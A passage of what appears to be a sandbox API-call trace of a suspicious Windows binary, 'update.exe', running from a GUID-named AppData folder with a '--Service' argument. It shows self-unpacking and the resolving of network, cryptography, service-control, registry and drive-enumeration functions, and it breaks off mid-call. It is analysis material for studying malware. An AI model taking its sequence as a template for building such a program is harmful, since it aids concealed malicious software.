nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.493] GetLastError () returned 0x3 [0118.493] AddAtomA (lpString=0x0) returned 0x0 [0118.493] AddAtomA (lpString=0x0) returned 0x0 [0118.493] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.493] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.493] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.493] GetLastError () returned 0x3 [0118.493] AddAtomA (lpString=0x0) returned 0x0 [0118.493] AddAtomA (lpString=0x0) returned 0x0 [0118.493] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.494] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.494] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0122.413] VirtualProtect (in: lpAddress=0x400000, dwSize=0x6a000, flNewProtect=0x40, lpflOldProtect=0x18fdc8 | out: lpflOldProtect=0x18fdc8*=0x2) returned 1 [0124.333] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.334] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x77150000 [0124.335] GetProcAddress (hModule=0x77150000, lpProcName="RpcStringFreeW") returned 0x77171635 [0124.335] GetProcAddress (hModule=0x77150000, lpProcName="UuidToStringW") returned 0x77191ee5 [0124.335] GetProcAddress (hModule=0x77150000, lpProcName="UuidToStringA") returned 0x771cd918 [0124.335] GetProcAddress (hModule=0x77150000, lpProcName="RpcStringFreeA") returned 0x77193fc5 [0124.335] GetProcAddress (hModule=0x77150000, lpProcName="UuidCreate") returned 0x7716f48b [0124.335] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75380000 [0124.421] GetProcAddress (hModule=0x75380000, lpProcName="WNetCloseEnum") returned 0x75382dd6 [0124.421] GetProcAddress (hModule=0x75380000, lpProcName="WNetOpenEnumW") returned 0x75382f06 [0124.422] GetProcAddress (hModule=0x75380000, lpProcName="WNetEnumResourceW") returned 0x75383058 [0124.422] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75bd0000 [0124.518] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenA") returned 0x75bff18e [0124.519] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetReadFile") returned 0x75beb406 [0124.519] GetProcAddress (hModule=0x75bd0000, lpProcName="HttpQueryInfoW") returned 0x75bf5c75 [0124.519] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetCloseHandle") returned 0x75beab49 [0124.519] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenW") returned 0x75bf9197 [0124.519] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenUrlW") returned 0x75c4be5c [0124.519] GetProcAddress (hModule=0x75bd0000, lpProcName="InternetOpenUrlA") returned 0x75c130f1 [0124.519] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75340000 [0124.521] GetProcAddress (hModule=0x75340000, lpProcName="timeGetTime") returned 0x753426e0 [0124.521] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76e40000 [0124.522] GetProcAddress (hModule=0x76e40000, lpProcName="PathFindExtensionW") returned 0x76e5a1b9 [0124.522] GetProcAddress (hModule=0x76e40000, lpProcName="PathFindFileNameW") returned 0x76e5bb71 [0124.522] GetProcAddress (hModule=0x76e40000, lpProcName="PathFileExistsA") returned 0x76e7ad1a [0124.522] GetProcAddress (hModule=0x76e40000, lpProcName="PathAppendW") returned 0x76e581ef [0124.522] GetProcAddress (hModule=0x76e40000, lpProcName="PathRemoveFileSpecW") returned 0x76e53248 [0124.522] GetProcAddress (hModule=0x76e40000, lpProcName="PathAppendA") returned 0x76e4d65e [0124.522] GetProcAddress (hModule=0x76e40000, lpProcName="PathFileExistsW") returned 0x76e545bf [0124.522] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x773e0000 [0124.522] GetProcAddress (hModule=0x773e0000, lpProcName="GetTimeFormatW") returned 0x7740f481 [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="GetDateFormatW") returned 0x774134d7 [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="EnumSystemLocalesW") returned 0x7747425f [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="GetUserDefaultLCID") returned 0x773f3da5 [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidLocale") returned 0x7740ce46 [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="GetLocaleInfoW") returned 0x773f3c42 [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="GetCommandLineW") returned 0x773f5223 [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileSize") returned 0x773f196e [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="FindFirstFileW") returned 0x773f4435 [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="SetFilePointer") returned 0x773f17d1 [0124.523] GetProcAddress (hModule=0x773e0000, lpProcName="lstrlenA") returned 0x773f5a4b [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="SetErrorMode") returned 0x773f1b00 [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="CreateProcessW") returned 0x773f103d [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="CreateDirectoryW") returned 0x773f4259 [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="WaitForSingleObject") returned 0x773f1136 [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="GetLogicalDrives") returned 0x773f5371 [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualFree") returned 0x773f186e [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="WriteFile") returned 0x773f1282 [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="GetDriveTypeA") returned 0x7740ef75 [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="OpenProcess") returned 0x773f1986 [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="GlobalAlloc") returned 0x773f588e [0124.524] GetProcAddress (hModule=0x773e0000, lpProcName="GetSystemDirectoryW") returned 0x773f5063 [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="WideCharToMultiByte") returned 0x773f170d [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="LoadLibraryW") returned 0x773f492b [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="Sleep") returned 0x773f10ff [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="CopyFileW") returned 0x7741830d [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="FormatMessageW") returned 0x773f4620 [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpynW") returned 0x7741d556 [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="ReadFile") returned 0x773f3ed3 [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="CreateFileW") returned 0x773f3f5c [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcatA") returned 0x77412b7a [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcmpW") returned 0x773f5929 [0124.525] GetProcAddress (hModule=0x773e0000, lpProcName="MultiByteToWideChar") returned 0x773f192e [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="lstrlenW") returned 0x773f1700 [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="GetLastError") returned 0x773f11c0 [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="SetLastError") returned 0x773f11a9 [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="GetProcAddress") returned 0x773f1222 [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="VirtualAlloc") returned 0x773f1856 [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="MoveFileW") returned 0x77409af0 [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="LocalAlloc") returned 0x773f168c [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="CreateEventW") returned 0x773f183e [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcatW") returned 0x7741828e [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="FindNextFileW") returned 0x773f54ee [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="CloseHandle") returned 0x773f1410 [0124.526] GetProcAddress (hModule=0x773e0000, lpProcName="DeleteFileW") returned 0x773f89b3 [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="LocalFree") returned 0x773f2d3c [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="CompareStringW") returned 0x773f3bca [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="SetPriorityClass") returned 0x7740cf28 [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcess") returned 0x773f1809 [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="GetComputerNameW") returned 0x773fdd0e [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="GetExitCodeProcess") returned 0x7740174d [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="TerminateProcess") returned 0x7740d802 [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleFileNameW") returned 0x773f4950 [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="GlobalFree") returned 0x773f5558 [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="CreateMutexA") returned 0x773f4c6b [0124.527] GetProcAddress (hModule=0x773e0000, lpProcName="GetVersion") returned 0x773f4467 [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcessId") returned 0x773f11f8 [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThread") returned 0x773f34d5 [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="CreateFileA") returned 0x773f53c6 [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="CreateDirectoryA") returned 0x7741d526 [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpyA") returned 0x77412a9d [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="FatalAppExitA") returned 0x77474691 [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSemaphoreW") returned 0x7740ca5a [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleHandleW") returned 0x773f34b0 [0124.528] GetProcAddress (hModule=0x773e0000, lpProcName="GetTickCount") returned 0x773f110c [0124.529] GetProcAddress (hModule=0x773e0000, lpProcName="TlsFree") returned 0x773f3587 [0124.529] GetProcAddress (hModule=0x773e0000, lpProcName="TlsSetValue") returned 0x773f14fb [0124.529] GetProcAddress (hModule=0x773e0000, lpProcName="TlsGetValue") returned 0x773f11e0 [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="TlsAlloc") returned 0x773f49ad [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773f1916 [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="SetUnhandledExceptionFilter") returned 0x773f87c9 [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="UnhandledExceptionFilter") returned 0x7741772f [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="FreeEnvironmentStringsW") returned 0x773f51cb [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="GetEnvironmentStringsW") returned 0x773f51e3 [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="GetSystemTimeAsFileTime") returned 0x773f3509 [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="QueryPerformanceCounter") returned 0x773f1725 [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="GetStartupInfoW") returned 0x773f4d40 [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="DeleteCriticalSection") returned 0x77ac45f5 [0124.530] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileType") returned 0x773f3531 [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="RaiseException") returned 0x773f58a6 [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="LCMapStringW") returned 0x773f17b9 [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="GetConsoleCP") returned 0x77497bff [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="GetConsoleMode") returned 0x773f1328 [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="SetFilePointerEx") returned 0x7740c807 [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="SetConsoleCtrlHandler") returned 0x773f8a09 [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="FreeLibrary") returned 0x773f34c8 [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="LoadLibraryExW") returned 0x773f495d [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="OutputDebugStringW") returned 0x7741d1d4 [0124.531] GetProcAddress (hModule=0x773e0000, lpProcName="HeapReAlloc") returned 0x77ad1f6e [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="RtlUnwind") returned 0x7741d1c3 [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="SetStdHandle") returned 0x7747454f [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="HeapFree") returned 0x773f14c9 [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="HeapAlloc") returned 0x77abe026 [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="WriteConsoleW") returned 0x77417aca [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="FlushFileBuffers") returned 0x773f469b [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="GetStringTypeW") returned 0x773f1946 [0124.532] GetProcAddress (hModule=0x773e0000, lpProcName="LeaveCriticalSection") returned 0x77ab2270 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="EnterCriticalSection") returned 0x77ab22b0 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="HeapSize") returned 0x77ac3002 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="GetStdHandle") returned 0x773f51b3 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="AreFileApisANSI") returned 0x774740d1 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="GetModuleHandleExW") returned 0x773f4a6f [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="ExitProcess") returned 0x773f7a10 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="GetProcessHeap") returned 0x773f14e9 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentThreadId") returned 0x773f1450 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentThread") returned 0x773f17ec [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidCodePage") returned 0x773f4493 [0124.533] GetProcAddress (hModule=0x773e0000, lpProcName="GetACP") returned 0x773f179c [0124.534] GetProcAddress (hModule=0x773e0000, lpProcName="GetOEMCP") returned 0x7741d1a1 [0124.534] GetProcAddress (hModule=0x773e0000, lpProcName="GetCPInfo") returned 0x773f5189 [0124.534] GetProcAddress (hModule=0x773e0000, lpProcName="IsDebuggerPresent") returned 0x773f4a5d [0124.534] GetProcAddress (hModule=0x773e0000, lpProcName="lstrcpyW") returned 0x77413102 [0124.534] GetProcAddress (hModule=0x773e0000, lpProcName="IsProcessorFeaturePresent") returned 0x773f5235 [0124.534] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75e50000 [0124.534] GetProcAddress (hModule=0x75e50000, lpProcName="PostQuitMessage") returned 0x75e69abb [0124.534] GetProcAddress (hModule=0x75e50000, lpProcName="LoadCursorW") returned 0x75e688f7 [0124.534] GetProcAddress (hModule=0x75e50000, lpProcName="BeginPaint") returned 0x75e71361 [0124.534] GetProcAddress (hModule=0x75e50000, lpProcName="TranslateMessage") returned 0x75e67809 [0124.534] GetProcAddress (hModule=0x75e50000, lpProcName="RegisterClassExW") returned 0x75e6b17d [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="ShowWindow") returned 0x75e70dfb [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="IsWindow") returned 0x75e67136 [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="CreateWindowExW") returned 0x75e68a29 [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="UpdateWindow") returned 0x75e73559 [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="DefWindowProcW") returned 0x77ac25dd [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="PeekMessageW") returned 0x75e705ba [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="PostThreadMessageW") returned 0x75e68bff [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="MessageBoxW") returned 0x75ebfd3f [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="DispatchMessageW") returned 0x75e6787b [0124.535] GetProcAddress (hModule=0x75e50000, lpProcName="DestroyWindow") returned 0x75e69a55 [0124.536] GetProcAddress (hModule=0x75e50000, lpProcName="EndPaint") returned 0x75e71341 [0124.536] GetProcAddress (hModule=0x75e50000, lpProcName="SendMessageW") returned 0x75e69679 [0124.536] GetProcAddress (hModule=0x75e50000, lpProcName="GetMessageW") returned 0x75e678e2 [0124.536] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75720000 [0124.536] GetProcAddress (hModule=0x75720000, lpProcName="CloseServiceHandle") returned 0x7573369c [0124.536] GetProcAddress (hModule=0x75720000, lpProcName="CryptAcquireContextW") returned 0x7572df14 [0124.536] GetProcAddress (hModule=0x75720000, lpProcName="GetUserNameW") returned 0x7573157a [0124.536] GetProcAddress (hModule=0x75720000, lpProcName="CryptHashData") returned 0x7572df36 [0124.536] GetProcAddress (hModule=0x75720000, lpProcName="RegSetValueExW") returned 0x757314d6 [0124.536] GetProcAddress (hModule=0x75720000, lpProcName="RegCloseKey") returned 0x7573469d [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="CryptDestroyHash") returned 0x7572df66 [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="OpenSCManagerW") returned 0x7572ca64 [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="OpenServiceW") returned 0x7572ca4c [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="ControlService") returned 0x75747144 [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="RegOpenKeyExW") returned 0x7573468d [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="CryptCreateHash") returned 0x7572df4e [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="QueryServiceStatus") returned 0x75732a86 [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="RegQueryValueExW") returned 0x757346ad [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="CryptReleaseContext") returned 0x7572e124 [0124.537] GetProcAddress (hModule=0x75720000, lpProcName="CryptGetHashParam") returned 0x7572df7e [0124.537] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fa0000 [0124.542] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetPathFromIDListW") returned 0x760317bf [0124.542] GetProcAddress (hModule=0x75fa0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7602e141 [0124.542] GetProcAddress (hModule=0x75fa0000, lpProcName="CommandLineToArgvW") returned 0x75fb9ee8 [0124.542] GetProcAddress (hModule=0x75fa0000, lpProcName="ShellExecuteA") returned 0x761e7078 [0124.542] GetProcAddress (hModule=0x75fa0000, lpProcName="ShellExecuteExW") returned 0x75fc1e46 [0124.542] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75810000 [0124.543] GetProcAddress (hModule=0x75810000, lpProcName="CoInitialize") returned 0x7582b636 [0124.543] GetProcAddress (hModule=0x75810000, lpProcName="CoInitializeSecurity") returned 0x75837259 [0124.543] GetProcAddress (hModule=0x75810000, lpProcName="CoUninitialize") returned 0x758586d3 [0124.543] GetProcAddress (hModule=0x75810000, lpProcName="CoCreateInstance") returned 0x75859d0b [0124.543] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x77000000 [0124.543] GetProcAddress (hModule=0x77000000, lpProcName=0xca) returned 0x7700fd6b [0124.544] GetProcAddress (hModule=0x77000000, lpProcName=0x2) returned 0x77004642 [0124.544] GetProcAddress (hModule=0x77000000, lpProcName=0x9) returned 0x77003eae [0124.544] GetProcAddress (hModule=0x77000000, lpProcName=0x8) returned 0x77003ed5 [0124.544] GetProcAddress (hModule=0x77000000, lpProcName=0x6) returned 0x77003e59 [0124.544] GetProcAddress (hModule=0x77000000, lpProcName=0xc8) returned 0x77003f21 [0124.545] GetProcAddress (hModule=0x77000000, lpProcName=0xc) returned 0x77005dee [0124.545] GetProcAddress (hModule=0x77000000, lpProcName=0xc9) returned 0x77004af8 [0124.545] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75320000 [0124.549] GetProcAddress (hModule=0x75320000, lpProcName="GetAdaptersInfo") returned 0x75329263 [0124.550] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x757d0000 [0124.551] GetProcAddress (hModule=0x757d0000, lpProcName=0xc) returned 0x757db131 [0124.551] GetProcAddress (hModule=0x757d0000, lpProcName=0xb) returned 0x757d311b [0124.552] GetProcAddress (hModule=0x757d0000, lpProcName=0x34) returned 0x757e7673 [0124.552] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x752c0000 [0124.554] GetProcAddress (hModule=0x752c0000, lpProcName="DnsFree") returned 0x752c436b [0124.554] GetProcAddress (hModule=0x752c0000, lpProcName="DnsQuery_W") returned 0x752d572c [0124.554] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x75200000 [0124.557] GetProcAddress (hModule=0x75200000, lpProcName="atexit") returned 0x7521c544 [0124.558] atexit (param_1=0x6932ba) returned 0 [0124.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fdd4 | out: lpSystemTimeAsFileTime=0x18fdd4*(dwLowDateTime=0xd0bad930, dwHighDateTime=0x1d4800f)) [0124.558] GetCurrentThreadId () returned 0x5c4 [0124.558] GetCurrentProcessId () returned 0x7ac [0124.558] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdcc | out: lpPerformanceCount=0x18fdcc*=1809411300000) returned 1 [0124.558] GetStartupInfoW (in: lpStartupInfo=0x18fd64 | out: lpStartupInfo=0x18fd64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x773f1856, hStdOutput=0x77aafd35, hStdError=0x77b17daf)) [0124.558] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773e0000 [0124.558] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="InitializeCriticalSectionEx") returned 0x773f4d28 [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="CreateEventExW") returned 0x7747410b [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSemaphoreExW") returned 0x77474195 [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadStackGuarantee") returned 0x773fd31f [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThreadpoolTimer") returned 0x7740ee7e [0124.559] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadpoolTimer") returned 0x77ad441c [0124.560] GetProcAddress (hModule=0x773e0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77afc50e [0124.560] GetProcAddress (hModule=0x773e0000, lpProcName="CloseThreadpoolTimer") returned 0x77afc381 [0124.560] GetProcAddress (hModule=0x773e0000, lpProcName="CreateThreadpoolWait") returned 0x7740f088 [0124.560] GetProcAddress (hModule=0x773e0000, lpProcName="SetThreadpoolWait") returned 0x77ae05d7 [0124.560] GetProcAddress (hModule=0x773e0000, lpProcName="CloseThreadpoolWait") returned 0x77afca24 [0124.560] GetProcAddress (hModule=0x773e0000, lpProcName="FlushProcessWriteBuffers") returned 0x77ab0b8c [0124.560] GetProcAddress (hModule=0x773e0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77b6fde8 [0124.623] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentProcessorNumber") returned 0x77b01e1d [0124.623] GetProcAddress (hModule=0x773e0000, lpProcName="GetLogicalProcessorInformation") returned 0x77474761 [0124.623] GetProcAddress (hModule=0x773e0000, lpProcName="CreateSymbolicLinkW") returned 0x7746cd11 [0124.623] GetProcAddress (hModule=0x773e0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0124.623] GetProcAddress (hModule=0x773e0000, lpProcName="EnumSystemLocalesEx") returned 0x7747424f [0124.623] GetProcAddress (hModule=0x773e0000, lpProcName="CompareStringEx") returned 0x774746b1 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="GetDateFormatEx") returned 0x77486676 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="GetLocaleInfoEx") returned 0x77474751 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="GetTimeFormatEx") returned 0x774865f1 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="GetUserDefaultLocaleName") returned 0x774747c1 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="IsValidLocaleName") returned 0x774747e1 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="LCMapStringEx") returned 0x774747f1 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="GetCurrentPackageId") returned 0x0 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="GetTickCount64") returned 0x7740eee0 [0124.624] GetProcAddress (hModule=0x773e0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0124.625] GetProcAddress (hModule=0x773e0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0124.625] GetCurrentThreadId () returned 0x5c4 [0124.625] GetStartupInfoW (in: lpStartupInfo=0x18fd34 | out: lpStartupInfo=0x18fd34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x415e4a, hStdOutput=0x983f0016, hStdError=0x42f6de)) [0124.625] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0124.625] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0124.625] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0124.625] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0124.625] GetEnvironmentStringsW () returned 0x6dc1d8* [0124.626] FreeEnvironmentStringsW (penv=0x6dc1d8) returned 1 [0124.626] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44e1f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0124.627] GetLastError () returned 0x0 [0124.627] SetLastError (dwErrCode=0x0) [0124.627] GetLastError () returned 0x0 [0124.627] SetLastError (dwErrCode=0x0) [0124.627] GetLastError () returned 0x0 [0124.627] SetLastError (dwErrCode=0x0) [0124.627] GetACP () returned 0x4e4 [0124.628] GetLastError () returned 0x0 [0124.628] SetLastError (dwErrCode=0x0) [0124.628] IsValidCodePage (CodePage=0x4e4) returned 1 [0124.628] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd28 | out: lpCPInfo=0x18fd28) returned 1 [0124.628] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f7f0 | out: lpCPInfo=0x18f7f0) returned 1 [0124.628] GetLastError () returned 0x0 [0124.628] SetLastError (dwErrCode=0x0) [0124.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0124.628] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f568, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 